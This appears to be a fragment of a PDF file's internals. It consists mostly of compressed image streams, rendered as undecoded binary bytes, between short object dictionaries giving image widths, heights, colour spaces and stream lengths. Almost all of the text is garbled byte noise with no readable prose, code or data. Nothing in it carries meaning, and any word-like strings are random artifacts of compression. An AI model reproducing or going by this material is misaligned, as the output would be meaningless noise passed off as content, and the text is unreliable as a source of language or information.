_\ĥmP"4M$I(RmGQ5Ɯ$I87$>P|m֖F>\cy~}-R>\ܾs.Gf;O(OпK|\;>ܧf_y;?h?zrc;,{yW~0[˲,Nj?yM۵m[J|>1T`tOÔuʥq+[S)E)K$,(j4ݪ,1vvl)eey[E@+$?l6wv/ĶeUU,ahcV}Ӗ2L-+#K cE8v{ggnYUyeQH!Z5 2` +klnضPJI%zW{8NE~ڶ|1eUJ)֎4(yy)c D`1k v:NDZ! !z~ ajQ{K`Q0ƒ4J+nB+eYR!Q}I,EY\OXjԨQ3'63vk}y W,yVe) Gvkoo/])9R)ȶ/Ht:/bvѱ&$i2/6FشmۄXAv;8xc-AU8Iʪt]gg02"&a:j4V"R*۶P)'IQѸ,˧`C!wT;.el@"uݗ^7|Tl4e4F#|q]VƔȲ|2dYBJ*Z,8"j4 7Zxi .-K +1@.Eq4*ʤ4!4HO5jԨQ7 @"BbGvs? +2.J7; c'uUVXqDJ-:\Rk9PI(5T8D0T!+> YJYѪJJmcHabWUWYR!(b1!Z|Ie1u?!Je%I0΍+\r}joekYoTZJU*M3s0 B"|1L,WJ{׌0 \ݘp.8ZY[E֨QˢvX#5< ضj;e^~A`8,\bP{J41;ƐTJ !/EQ!grsγ4M$˲NcNݖR"Q!̲lyUF ?UUM&׵ww{myr6(IVT7vh|yH0a] -cysJ)&N1\7uSL\w %6#5i0av{]!@ B t:^v;e1ƒ$Mqn'4}s $qw|\q2MiYVJ)8;^l6Rt<1Jͤs]joFH?! ~`=g(KƹTJk-("ͲVUUUeYJ"371?Җm7u=Bp''EQ>I5!6ݛׯJJ%h e۞B i}xl617duWq_|^/YEEONN?SFi!Kxj]/|gi 1t6F:D(C@ 9T- zS4E?iw+ʤX޺P,Ɠl^X頔 _zyNz|^cL 9A:Sx2(J)%<˲jD?lwvbRCy^;d6Mʒ* =4K,5jԨQ+BYEi'_@˶0"-,)S58%PCa qmJ'mG"P"p!h5Pawo^퇁?OÀ/#x(gUUEQU%t7F\,/EUQ(J2I2KmEQey`>iZ%\o(q*!@ D׿ CJ)~j|X ߧLxsell^16N߿8_,.Գ(2eԶnB߷0["I$N9uԨQ:eӂ75jԨ5^jlQ^zq!wۥo6Bp>_x<+K&mboie^oO?]\޳:==SJɭJ=m".zyjDmBqL822եZsg_o+vw}{?ӏwo?0 /yrgoo< 'l@hE??әc/ŁmcNO2n1iZGIEٵZר!8xDh[mAzKNlTk0j4~xŋ~/u@ v J'I2VTk +Z+ʲٜRNo~K)EDZTBi۶뺞ٖ1m})bXp8L&=G^$[t:UeRk!$c,L?fӟ~aoo.3W#Px<>==AI*I)],'X"z!ݠ3v8>:>Z,bQ ;nE,"O1~r"@hy>ǓtjnGU/3(ZcL}t^m6[ͨy{0y^ Ggg'''hHJ+Rʲ,_$_~n0huZ9]Uh4:;;ߞY~ois!xF5j|h4 "DѮ6]f;?&*`gL$I׿e/Q/KԌ_Y֠5~_Qf%]m 0ӓ(_mnZiDEiEn] 0Rn+?B,˲Di =e󜣵RQFeYjL4\8 ,4˪kn(p>[\2l_Jv Gw'|\x5`U ,s&hYLضl(F# +=ϳmJ.}'/ _Lr׍gkԍur7O*pcMs?znRrxUr=@y>:Zbj>h?G.8s>\K'8_=E}R[G+IN߅ܯ +36Z]gY6'h8'4IRZэZ))CXR1 VA*F5b/޽{BjN·aUVRZi[Ò B%b1E1/d2B`l8eEE<`0L&ٌ36)UI +! +)MaҬo8V˅(+t: NBR"_Xg~-Pk%,*I`Çtf4(,_4!ě+zR''(sEbԨQ7X,|<{>ccvdRxL)0hczY|/⢬rk|eYê*yi5"16Kh)|ǧgp8LTKJiE''Rx qB0ȼ"et: ''Bנ(S),owfըQF2WՂb &D;K9`%l/aT>6@"=[grl:%K9XYM*DrRHl''8Q9҂{^G6蒆[(KH{aͨ(rΙ\̣v Wj. 1XvtuA @ZA#jxx6'[^.߫zMzmkeRrm N9t>_dY!!ᛗ_=yg<B!ı-Q}Ƕ0![(1R6MFIUocmrjZ|q|s|)+#{n.o'o.s?z.G]x<.C{BGi-{ӱ{_jy<[G.{a3t໖ElZkb|>Nǣq'eI9l|">::ʲ9{ 0m yKRUi.*uP`tYX|~~~rr:)eZW%l1_!/ +YB\H)5bqtt$r:S֬_F|6}ĜUgggYVH-Mh/F{K4MQQTR*E&Gǜ3-)J*|>Fl6n^5j|0+I#!8B b1-r>_Fd2PJҔl~vz&8 |-k;q<&l:˲s.+t:Zʳ\*9c\kj8-X=5+%l:A'B θr.8vaڶMhEY&I2f9<}ЊJCQEZ-۶cT*$Id<)ʊkԨQWu: +endstream +endobj +2243 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 3784 +>> +/Width 3784 +/Height 71 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 446 +>> +stream +xA 0C/U,8 bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR,)F# @ bdH1YR.0 +endstream +endobj +2244 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 198 +/Height 67 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 198 +/Colors 3 +>> +/SMask 2245 0 R +/Length 4157 +>> +stream +x\s>$˖lYiin .vM4nr)%[ la)ii;%ۺY♜OHu)z4:H9y}$F!1 xS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔS*ƔӟLޙ?h̘RDp͂k>Nxh_s1 ㄇ5o>fD"L&Yݫ%!h4r] ςq yѻLô0{J,H$!TJQt:M/ضimۄ "Hq0tP(R)Mt:e]jyscyJPa4oYtnbn J%Q'ﺮmۮBuq2O>m0qLD`7G>J&dRJd% ++mtCEt:|.T*$Fn;qڧW5eYl18٥뺞u`@DM$IJEQ$ƾ +x4<}(lz`0afO)DQ, +sssjO>6[]]peYؔcl*eYbXT._L9uꔦieMVaQ3L\. 7 D1 3Qeaa/;~^Fav>(;L&9|:4Mu۶)gfq^V~;ٳgF1MCaT*\> +v뭷Za^FRl6;??k׮Mhh4~y$B^}M!&fL) L&ϗJ%=79!c8qs >#GnZV5Y** +RZ~wKϟ4$I8q_~iZ T*GE{`,)_y啛7o,OKPr: +_{7o7 2뚦-8N02曊Dw9b:(ARE^?v=?fE)%SB6 !!dnh45G);H駟,8AEVk6eϜ9|9TJgΞRٶ`T*jxmee%IPxP}},h:!ӧOooow:W4"JA s]0Vパј_!6j'X)D6,y]GeYE+m8.r$ h_{RjZTNN~P1 XE1͆1p4~/"0Ѝvvv.LJe2di]xRނm_{i0 b{>t11eh4eL&q\ Ùd2>`~:0!㷟l">Cb&Ֆ|d2!As*:~:eJn4`JA +Q,&KtGO6- +T ȣ" ʀ{Ru.!O94>ݣJSRdM 0 dL&#b\qFbveY$I*kqqڶ=f<4M]CTP8p5{K:p'AYXX(!lee4M'T.tR+0O< {|d2H$#Ghcǎ5M4 ð,+L"_M۶9Q'(t:p¥KPPjiBe9tKKKmmm꺮8A%_5 .]tY:*!j˧3glll_w{+rݻw[V+乧;`j6!qvOm7Bl>}SNollZ-W8mZmc1CCY)EQl\6jv۲,84P3]C ~$y>͖J,lԁFJ[|>?x`Zd2!Myqq_e;`De`{b$\EQ ՖFqqI%X[[CqL +JuW~iZS<Q|>_(B r \Ru%IRҎeY^/{R8qQU_F4q*X;AdYꫯr*sυB766:p8,0 hBR׮]{72n7H"KCOOIΝ;,zGs6ܹsVk}}}{{{TAvu=NI:JѢP\n5Mjr/BُIvKrtPz-ZyI۶u]ؓޝ*L:>3L(L&dllۆτlT=O&z^V + H$LFal 1-%%NQBQcL&CrE'>aH^(.b:hrϝ;L3qlVQYB[Cnf% gϞ q&DiZ5 8VXpv}?NS}+LjX,KRxUU%eшR(J>F~ggp_PJ\*Oj4n?h̘RNOa"aƵr,ˊɟPbu-i4oƗ${e]{ڂ5RpQy|6??`HנF#XdQRyꩧSk +l6maѣGK|si]vw4m0>a)EAs#o`Yq^7`h!%>D/t%Qs]Wuãjj]Қlm۶a&|7 Cum1{JQ / +|MDHO5!V&Cp ? ^W(!E=R +u,j۠#}90ハd7\fs|˃]ꈟ韸 ?D *梲54@TH%17g9fS̘R1?> +/Width 198 +/Height 67 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 103 +>> +stream +x 0g-!8K=~^ц I6$mHڐ!iC҆ I6$mHڐ!iC҆ I6$mHڐ!iC҆ I6$mHڐ!iCO +endstream +endobj +2246 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 97 +/Height 728 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 97 +/Colors 3 +>> +/SMask 2247 0 R +/Length 106253 +>> +stream +xeǑ +~{wnyP@@p$H6RuS'83o-=IkIݒT[R P@כޙC} +l͚[̝;22/"hqVm!&eEUKU!&"RU PѾ$Mh +T* .wω)|f. +$ Ç9|.?4 {0%!b6? 0RU]EU 1J.YT**a]´*^ &6ܻF@&+" +3Lmy_0[*>I!O~M dο~4ۀ*٧%<=/lHvi +<6\60nofos *T}QE-67vo~Sw+__pӸCF(x(|Λ7( (۰.z²񺛾>={J/Kֺ%{ypa͈zء.Gh&ٴj~dakӍ+ a ]gޜׯ'77)A@LX@̼~p +֯!gp3xЦ38nfeglU U9]z^tk2dgpv%aCD$| @0~Mgp ;D3U/?E&6lx*0޶Ěϙ69ooƚ ŋ +Dude0̪[`]TUo10! +N`v?ޡ. H}_L`.Ȧ9no23B8wX8TUUw':m E oB{ Qo bO@83A` i/"TRORu͡CdƊ 0c5=ᵽ=*LY(UI8JWT~dW1jn#*DTgKXTRQ>+;uJD"x!B)f|p\/-aMAf75E"D +X JJ{OP2TH@Ao蠭z27peREHLe@L@OC06d AE<1)HA RǠ +U@1Tq4J7\Z`&UV2 I a]Sm X7˦Lu *td{ 45$"{)) $Nٴ(}H01ċ1 5(W?~TâjvU3e7{ﵞo[DD( eQ߄kEܶG`ri(VD +Sr.^A6A# 'N>/.vm@13-P + +Z־=9Ez',r~{[~W|l'yWov0("Q v&l$9R#j(UMH3/O.`F +6 FH=h_?^sȷF0CXT``8b +iݼ[kߚsf\R2dQ:i7h\'OLL~1q?OST,3Td* n9Fw/F !0Q-S.!%hO`|Oph{t\_??S +L=cClS Q41>?#hAFcaG% JTԌW9/_p}UlU`=)zC``яA`u};K>u4W߼z&:aXF Ae(1R=W̩Ǯ|"LBJlHoT9k;N>_ER#MqGggPbى#bCP3v?}]20 `EB}wF 6OdR2D4 *Cc#|shp cGW,װV +FF0:z6Xk}y?` ( +^D &͚ƄgO}I#͎eLM$"rT9~hdj;rT>D<)z@ +HTJ "e!]}F;1xlۂK΍9:rcUk$/]>=]`L0PH,5 VT@8J~Jl:j߽:1Q(1p8ö`3!gςD*1\X$nuaaSx蘚ލ%sV0:IíȥRCL@=k %-d23@H'sᏚ)VWm{rzrjr0=gtI` *Io*\R.{A:Zwsy1>ۆխ^Ŗ(e(Gp)eDA%ͶĐثxR5"2bz +f n՘gZKD9kA!67օmgK4M +% +2/,Q=}f֍mSIwLQ=۰J=ҕlA.&P3 Ԧ0ÇmwѿǧϜYufUu. a:c}a"% +=2=`Q*BlhaiU TtE%2u4{s7<{K##⭵ĥFjqƘE K8RkS @W\x£]V*6m'w"%my['a Ӈ`jZWR뾈e Wpwvm3wN_tmxET@kXY V'(51=%2`$v\kFe eVSlĩ'e6+cn!;:l`r +CUp'sfi5qhR"b#wlu-P,6:-f,u/n繺wWitH<;s\s5t叼 wyUDEƞ~ե~W/߀C:lD%Szxư}8di澖++WV^|_{1й62Ð%ܼ۩{ ^&ֆQ 2*B)uWo.9q//Jáʍ%CWݦGXlb0$0R`\\ ΂-I)# usp.)t )vI<2x`zO=:5:\1Hm՞Z["~!8F!U@J;ՆmSϜv +â78  1)GCg|pS*%4eL +@ ŀUMI kcx* 9thރNhhk߀_UUBݴg_ym6Æ [a +Z c Pd%/u̧|=_ιo=RPѽv[]hpK(NE S=uw~zoוGJňt:&n!+HW g@1<[w"._ H?ߋL2L|5@z\d$;+W?oڵP,""&( H`cžRu.ѝRȰj{dL BGh??c|xh$][WˬK>zm4< +q~U"aO^D=lH!g_F[ÙLR@칚_Kuȡ7>sօK::]\0vn)3{L<~jL&6L=4"HFW@Gs5_ݙ_MV#b؅%4F'A6E#!UL~{26į{Ur]1\Ɓ}(Mlc%,!ARH/;Fq[#6"_zoftJ +mYmEjc1-rF{^M])$4*XC4P׈'v *@ KR cKA;gxj]W,UmTP ҮJ "|٤7_۰p!<A @ZeX@zR*)ie"EyaM9o%!$mqM80VLTLfEj3+ Y1LLP!"[MKbwSVF gX!52yYUq,lr؟|ƇPO1@1A!x1&`L䙄`YfQ",Z.H@K賷@@!dFruW 5xB!NƁu==pi|ì[٬y7k}Nc&ŒaAMDYTD&ؐ +HP1&'\|& +/L8q$ Ea  +Q? o!.Ѵ`/}g"([e +k$*He, fߣBnj2LPfkZUA1r#YC"oY{k?rI-heQ51H`… <-9k* +7@!ISjT(Ļ<`w*|IOkN 1pa;Tx&eVQ +p@SB4 >X+A6Be?(MUj0ATz< Mx.}]?i$d<J3[%"C WU&"%Er|dD6$8U !“j<,ۼFبhEғ+U TafCD +N'FVEPQ *oL'2ELm `tuԘY$)CԪwlT*1( +JS?Gwkil[& +f…rpfc$8_daz#ÅRf3Y_]ktP%sJ!j@sdQrAQ:Ӈv8{6. J%@>A5Ϝ:?{ܝH T@= Mluwyo85_ArII+A#WO|Z<`C!̥QDW"V.Ks+W;0-QAEcv cvoS~tw]?tT3"*(=) 6P¯_8:5v4]o +7K5ӹ UtZvu .3ǥbe"SFxy{ksoBLPVE6äXm]N9Mh1GF;i+o,ͭ[0Ca Dqzgj:?pn +mp!`B|D`UǒB />ޱ:w擋G?E;E-Vɓ8u2(iC_G]C_~vӷO_hBce1lгzI,!$"F+=D6"R#i1Tps +㗯|r -7 w"ع۷ν4*N݇~䅓'ܾwa)OpCǗ~!tuaեsLrH~ۃr @Gg^xv拏sl-p8p"®e"붜S2Ү`NLOޙ T8|=]Jsm v򗾰_yhhG]9{nR"%b tuщk+Lzbd|h;R?[iڍ">ؑɗ(D1xG6Q`C,?xۙ7@łiߙ]Zl4QTb.7 +* c[B].@bޅ>xG-u"i#9"ŻZkg-جi />ݰG@;/_sVTփđ6"SۻrUCd `* 8u{ ɥ"dn2ȋ2ct۷dm T6)Ts3A\! VQ0wJq3:Fpa Vq>?̓3^ B07T*ÂWnxՅ5tp|gM݂d9jVĈ-kY.L8zVG4 pd`*V2T!X}8op3[Q0wrg0XT J;]>tқdÛO|9@QTnw7>@a|˟ǎ8Ȟ->A$2]1dD> +!7Q7@!KNJ6bxn|yEip<߹y]d1=S9t +&pNx3b"RR(yqPHε\v,={b8~ 6A"8Vej8:0&&+Õg'm:eG+7%\񇦇Zh@UTʠ&rn}Z=d !4Y + +(:>оsWƗ$r:F,gyHU %)X&/ʃC֬Ơ\DTTDKbnl>34<\k$wfQ*  K5msq8\y1y + prK & ,ŵz{ñt&h-.aZy=VԛVEalj#id2Ȭ?? ߧz8dL' I}޺W;xld.>ZW1N<^<,Z{ѽq M1zp# +;q`*^;7{v^ʜsC*2fo~EvlA2 NqG]OQcbrb~\NlZr@JYs'G+UV{^H&UuxVz$ݽc虥H|C Og/ܼz3T(|3" +Ylw ;b}g^;N(,H:(&br{ w#]ԵvLmv{gQ8;HČG{2QMASE(EAo;:01$P.:P`.G[\kL\p*KlG9mp%mYT"Iy:O^Oa @ N^|DC +N};v9{aO:J1C+ +@RhgS=6t~ɘRw'̘NF׀ L ;ikfIKlGWx駟cpJ $&}ArE{P^z( bAx~G‰3} 2A0!XB⩓xǗs}Î'= R' +C0ڝ/W{ic)1ueiЈQ=!Av5 $ |ez z^&H%ijB0 8hß+F?GPC^XZ矠;~ 7-yfgQg]3Zc6XM:FZcmF)p";?qmTB0?دo# .$g/_$Eلq@c +y$q9? -6k8Ҧ4_ys=u7ĞΜ]D$H&'xݖ{[x(z҄ +O2D]&&DEPEtl ˗8rQ k_]HLȐl:毛~ H c#&ېABqHFkƷ'q'Wg Z7IR)Ff&o*Z#yKon R> 60enWfmHz_t/|~Ι + @ pt/Do^wӷNGa"qHX kd v6dc7_'KNWQfX& MǟxL +RC ($3c%*R;oTA@Cҹ`8?'þؾAl4х+Ky|)VH;TT g!{χ Q8TU 7 L9X!iDQfjjtdtP(6zsqqmv~N,jtw0 gy +{2+́ 㪄g*nVdaj{vbB^"RZ88)-+3qu.Le\FqwA9Yx,0^!mM#(YLadQ"4XZEGEV +b0e;{@7pʼn euinP$zt=aqcG #@]~6\h#U\sʏce LrBtEHr\T+,RF%BVl8UI7, \I$D\(l),űiuzvv?9]5'E>+▟aX +ˆBI|`xXhVU aMFY=X`%TB&@HR*3 9Sc;HR_k@%{9VDyv$HLlg&D4aW6)=ۍ(+<5ȑj0UV iR+-o +=7wsj0m+띻lPC_3,׋3I(^_ 4ȫ)#+9W@'R0$ ʽ +PeBކg^dɃ;T%pTÊAi( eC~**XkABΙ{ܜ`7N/A ><qOEZfީ + UiIPrNzhaSqfv'P"e3+| +$#zPOSrDaQA@vqY [(/L +TG ÔY}^a_!`m"\dP@pu^"eP + S+FoS XLIa#d(KsJ +)+[zVsxP[4Wʌ@@ + ޖa V!fc˪#1Zw\Ȭg͌Pҁb/E<#mJF"z5S9n*A:c?sg#eKUuh4:<`-)(IuuT-JG TfYq" b2*hC;I*ݎ$Bq iG<ƶ +)5=HhP0+3ɥ1az3[3cb@ў3tFHBqtf}#V"EԚI`zWs`2 kD<|cc#G/㟡 +Exxa)w-_it|}aߞ_BU"Ї| R̢R(GO~' +Ph*Cb. !*`l~}K+񟟞_T5ԇ:nW1et 5ژ O:yw2j]huPErE JH$N5AsSO?/]ok_"J%">$ 44M 7QMz_]v!Ql-NTi Z9dϴǿguufGd:qğ{~ڜo(-UBM g{ofxp-Jy}H_Dgj{g+w/Rā<ǰg U*feB~n&-%4Z`qkw?y][v;wT]SUQFl;25ڰ&>a1DiND( Œ[ o:B9`me|콫U",>%"A ڞaZ=e+CUldu5 +0=c Wu<GDq1Kbݛc;q.Y(I5d-!K^W.ͮCZg뫿ZNa|r 0dbE*I/C;&9ƋmM:;Y.ZF;w"RmXo5xa  Kf FMa`4C1{ɏf (Da 5\Ϣ0ܮw.,bNܵw:?b@=SR]5@U?xo.!Ca&R6Qҍsgق,m^غe[SB!i +@nkhƽJ} H߅BB"-_F-9ڑ?O_}1er]4H)&5z0'G~@~(l7o̔WccTkރ/IqP`Sw>ZChw;&E]@hjTfisXmmT@$(tb۷WzBndˢ`"U0L:xť[\K)f>bS( +! Jrl2X3D8߃!.9ᓔ +0ċw'N޵{hnsl K͗u-zk)n-":{ϥEBIw홝O^{sM +⌷Ha !AίÆcՆfąW4_^jK"b?-ӃHf3A<<2Lyht*ԑ Fh9.'A9bB#wBvlߵ`s8s:|r88 X)"Nǯ{H"@KJ@ BR2,xS ] ެkU>Ve|ywz +٩wVXk$ &h^)(F0AB +08}pǗo̡EҁD&JXhjN;mt`.߳ua9}㽅+wS$lI}R)Vjbx@Hx<#:1\6TY+e4vPVg8.D82>d7~[ ~ZCCN +w|O>vxu6!T!ZpU;w'&g~O/#W #&!H+^gˈ(WJ~` +UU_#Yo9%x- #Yko_@?"QUJFspcC @Bhd"σlVo\6z#˫g~Vp~}(82*M09/q/~)AEQC#7!u( ZW7:}qDS%ȒJ|`@\nm|6JYBk9Ny,/%+go)HT t`׿6/>2] R(Zڏ/>ؑ}/..ѐR̤F; +a#^~ᴍO._7:mNv`2 +EǤVӿ>\ +B1.*6?&;^kH-^@#ڱ 0ו>'p] y馟]@l-ct3سݾc+?|pfX찢R30SHdb QikW- "?Av`9j(Jȵo\7{ +`'aXd`&E`JBfmm سO=>yrIZ)mXYmx_BIf3OK;@XHPeh~Ya~x1ގ]3%6.A"H wfq|+oGUB &Q"nSc3AƆAW&Ժ{%ՑN[Bl8 +4Mv֝>"jmg[2< yPԎD pvAY}`/Cq{Qbmj0=!XZK+X^ +AiЂ9"b!%iZA6[8)ɧg-d"bojZ2I%B `F6:8K +C0Xgċ'2 +=3`jwۋIU*``&t<6ĤGc9ldfY46ᯀ'A@i(\Bumu.pUADdYh?ȿa|,aQx +B +FA͹4i#)M^/C'a41a<8+ IS3Շ vzX(с*L*(8VD^HDɒDP3v + t,&nSNCzgdH Ձ({ +$DBU8 1`!B͙Oڷb3D$9Td5a!PP %29"bj,? z\?vYPL5+zj*Q 2-L!bv_f~KozƚR9%)RȲb `ã^Q|zB`>$yl}"R@NK +LSaĔ1J CPC"FE! d*sn3|*#f9zR +y~`l6>ND%̇˅@d$ ݘEwFN̽L@VJ'TՃ)bJ 1PZԏ?8txe\Rӕ~J^݈dYlxOon߲?rr>RF4 x&xO ykӂIO^ ԥBFP+11Hvw hAa PJ,cm=ſ{d| +אv[LT +սSGwDbؘTt7c[<чYӼ!$ +Z*'zwҙ}ws(CHjXaqqveO?ܯxћmvIR0*bC|sU4oQi/<_S'v߀8@ S0'ٲN__sW-*ElCKwNdLnbNǏW Me`8w`-©zo|O߾p-I]jG>AO]if ci${f쳟Aۯrh;p(Ap]>Jo>gyb;4m{QP +M]J:rmi :%\ma(PX۹=ڵc"-*h]J;ǷƷ?~g)2,t(у'[ׇH`Uh,ILB?ul-Gg +`!Bh6J J Z ƞG=ȑ?^'mx.RFBm5 +br %x_x| +Ę]řO|mf\z-xiKi2\&S8cu[HJ;<4;v;+?|C8>5B69C?}}ƐAɭŐY5밞^"}XP2'#CسT( $`cŭ4{;} {bƗF[uCwozg-aQexk +M=1[f撵'Z[-Y" O>Û)?oߧoJ2 =3cK]bK)!# 3<zO񠏜w ^ ~Oy݄,h 0vLԭܾPK[c;JŬMTQ.aˠFݫ^v$wpօ/>5#=JN ENUE ȀJۚvЎiJC]%đzט_ti)pkGT0L}fzNȰ%2*Ω9DYC29LG НH&ƪZs>SRe8R WGP5.SۑcU!EA_C4wD$oͫ4 $i^/]V=/Oo w_jɏ4mpKS/#|Z&! 0BZDr`CCC[qjcØRԼ{ʅR`ЀkHн_H^P.aj;Z +ݭ+KGP*+ 5cN +Q+i28@?>l=`8hpbb[SݔP/a{;7nOl1<:ǭSN0:l P }9%ȲxJE }v-=xߟ>~{ ׊PvqEl5, *;‡?}xO&`~MD"ZSTRIg.*-|zY>ܜC+DEFp`'wv+7M^nztx@ iX&- TNVkmyW,xy|2w#O{܌!>hSl[uE, MsWw9qT\W0 .-ܸE[,7j8 VP8xpK jf*C(IT~_*܁uW'3h;tduO?1}@dh#KYitc@ꩡ=]JMABDATfZoİyɥkh'HabCi"Z@6 7#DZkfOZ@it4qX:PDXmͮ:u?vdQ>v'=rlУ*ZQb.jFW-kc(U<ƥr+aC빢Vۗ1 +J"zU*;{Νs oeD`@0ZFA~|; ޻r&` QġxN@<4%`)wW߽tJ1$E[+ۅJtg Q[pԯah|s7{޹D$z~K(&` +{ G ANNT@`~X/t6[&V=3.oܳ6b@*aÍ9C- L Z͔tBt?EcT]گfFrf(N>1bڅ>쥻^;lCC];E߹Wn-ŨA41HyBD=k6ShL,*b8~~U` kBz@IPx<_\stLh >+țH +Œ(vªvȭ29S''?282Ҟ_\]]k"V*Ã孓ѡ os3Ra*BEԵ @+&)^B+%<8^xbPV[;ITo;>f +*hXa`--;P(z񡥠e2WŞ܇; +&zceyO. B\d!||oĖ@;!f)ENBYJW)m-bf +3[on@e\[u@xDc ^!|Ι>d^wdHWfsZ,H0T-ض#b`49.bhPyP4C q(ϲ1Ƌ8Z: hjՁcCk"R1LU=3`o){dq +DLd+ÖյՊY] Jh{t|QTY*Ub2aYbt2>$&RiJ8sȖ QĬ{헆_zgl0"P۠(9`buIUdb5dL(}ci$ȺpDL!UvP`@̶aJ>1r4>{dóLe|`aoC CIUgBA1)2+88Lb2)S|+!߮*J=W1{!dUh5Te 'R'r[~DgB3?{fE3xEJH*CUbd=HH8 ,u-\wQH^VذQU)4U=H!*i!fQɡ= I6㐆M E31;^$4. r鱷xAh +HM^=]s IRh`"4g:˫ +x +X_pKY?7P ?FGL2>&wvu`9B^BK3C 2P=: :=?ꛇG\S/FnfL~ ]R; d3:,yɖΆ,()$!d}n)[lTHf&=(DC'f&ϔl='O}5:衦!@9gF!0mՐ%QuscW+}ce̺A@a2KVk y fGJHU*.; (Uߋ3a_7R4B̚V[u +[Ou-SCCb)&V+]\ ܸxRhD(BFLDpTU!*evnRƑC=vS*Z7k7n՛8+Aqг!yG!7XL7^T)i,ttM991C0x4⺣ _rn/vq*! +g@PiW][cv^{t kLXq&P1RCxGqnf)lu*UE0Etۘ(~?:6p ZCI5, +51-_^ӿ:}oCSd@}.D~k֭{wf*Ɍ:^]h:{f=2y?٥W$Ed;`eoėfK+LAU(`&/gWoꞿ;JcWIPq9@ _\8cnt#c`4ѧ‰GYDwP?!+/pm5O={a +(HE +Kp/8w$g~׺ϝ:|w7/+d8LœB;p,xiƯl/p){f+8u~ћ7r+)0d>aۯ7fx 4V)mO84q֙_bn~m2Kvp?aCBN˗/|WF~| 75l OT Il@SҮOjk_Ξ][к !U(ˣǺ=a)+4G;yfmRvL^=6eH=BEԩVO+H%`h{w·3۰m\|}gĉsn'䛙P*O,!. /|챝~͐z;{nz,qz*݆D&Es + ۡsh.)Aכ0݉ş_8dwρ*ʕѓ''oޝ1AvYΙyH:o'"aBnl{3]mՖL 2L[G˻n\rC=_ŭ[?ԡNPV}'&i'2ttgNߺut0;p2w{EBCꔍ1r5e.z 9=#5}C|hB- R[7pHPÖ LvjU1<$l5\lp[/ԴʰAQ" +92)!ԒtuHVE<ѧ ud捷/8xãVnHoJ tBn=׍zm@y M/YP{.oVclvr'F15'|;2R)+E0GRQ4 J+"u4>/W$mKM%XaAv/sC[}&)DHu>iB rJI7#Pu(} 15Cik,8^+ˈ)sd:x@DH iɒqƶAcd'g>*0FPB*^w}хg̡*#o:Z, +XgTe|nwΝ[m'ݼߍzPtaBi2) Ma&0IZIh; +޵{:tܙ??yן16וVHj쐠ㅌ̸D)GK-M/ςW#cã6ăqru\m"j+ؽ>oph=q؄J:JVG12 ­;-H8լ7U:I+E M̠׸pͤx˫)/ޝCs; +[I*6ZFA(oS$y _ΚWe, Vƽ쎣O: (Ԑ5Eܟw󋵅;j s+|h*Gq6--'o;HŽVF[_vla2LF.ouAO|q| #H}xG7^2PBxCy8f(rX@UTVwKvD%txqd>Z#p:[ XyaNރv]~~K@`sRڇqh7p1;Y@AZhh{w拓#2r}fRiۢ + 'P34ztaRGZ|_&!auƾml#JBDH4|)㣋> )x؈V`#Ezӓg/̽墂QA E*,u$eq?^2>t~ +6o z-*!Y5j"pۍg;dqYÍ\+$n/yjKUy E9B`D$j{#2IYXE*80 c00!8VyRK?[VBOB%TɇPk @ Wkh?_~p0IۤgPd`70"(]gA=6hu2au^T<1F[GS+>>R[nޞ/-,v]2m#3qn}t&a*(fxHid1!/ j 5rx0~|فbئC+uRHIK5_H'aF-$-Djm}ؿFh:xR0ͪxⱩ-fL\&IuD"p7ޙ5FJjԔAE!(\! hW(MXO5SB,ƪtw6}o>@TG!xuΒ5P0pwF/ +!{Q5u0Z-عn)b"jZKܺ;sX+(b%i@ +@"D&Bp8_,b{1:BNPkA [ ^Ia 5q6āz~i6NgSO^ ]7lġdpba_Ø`K+[@;bvlJ +!^,fX, D /.)q]'^An>{&+sNyq,QQ s6,n'lLgZM&c@x{zg[n>AB>TZ5%BfZPz:J7Q0zH5'ڡ +I /›ܝ|Gd)̆T6%@9 DLl3ݜ+~7lK"NDbn,jޫe% ЄH=di5 + &E( jf,M½NB^!#ԢdQz +%0 +m31s47澢)TDg$Y PeADڪ+ѩxo!tㆡ:\AV(hLPHS +yFX+08RQ~}G?}EQGι_ >ߊLR)Hjd#cfvR1 +c-$]+Fؽ /~aKyMݎfQx-˗~ku8-DY<ȍk{i9y5KSjEU哣CvvG_9˫H,aYq}/;~+29~xVV +uY^+gAHmrbOp8DOީgs%1n'ʣ=;lb_|xzEaP6/lr?`PR&yI8q|ŧ&~ko|w .BC0"@t0[ùů~>׿?;]oVUwgN;d$i {/.v:kcB{FM|Mi |xpp k[ll\QRfʦy&:AĶ_4${k +(G]˯k]tzCDAWɷ>ݡѧ;Ub8PQTÙBb1t+ϖ ),LSM%ñMבѕŹ4I6Y񁌸iX"S%bICӇywRBj*)4H A K"=}}Ka($yʊQB0'*Muk"<;F5^Ki6&p`1FW?;X{scS(u"6 QHSflf=w7rA\y sH,Y +jaq-Qʹzlfmll~OiI2b7)DR"UU(&H LVwq_̪*"2w9;FFĈ !!u%Ljcw8uƭO>_ +""O\Xձ4sO{ sH00ʻi#p^|%0ؒ]*N b,}x圇23=F>z쎒Z'&##x'fL m@F i^ WA/oSxǯ__>$#r<>J!iB7¿MªJ@jҨ5!`gLyj +`pwGj3BS)@- 5 +VRH8c'HtT݌gVg##hku` YM3lt#;1GeW%|_itaZSvwTDjd"K=q 'ND퍻sB OJ+f YgE>8$G91shj$(Ʊ~S.8T뻗?]a'u%@'fKRu%^k~QulǗ"6qachlH.NQ,Ap\ZٹeC҂# axITS5˫"&hP׎֭HpsOouO wO[:*JDZ-xҍXAE~!fũnkkCwP-l6 qFXlnoO=޳krTk (;+˴&n3 +>m B05zvwݺ 9?u%iS'0%FΗ؋\Y9;L $jm)` Y݋G60e +ðQ 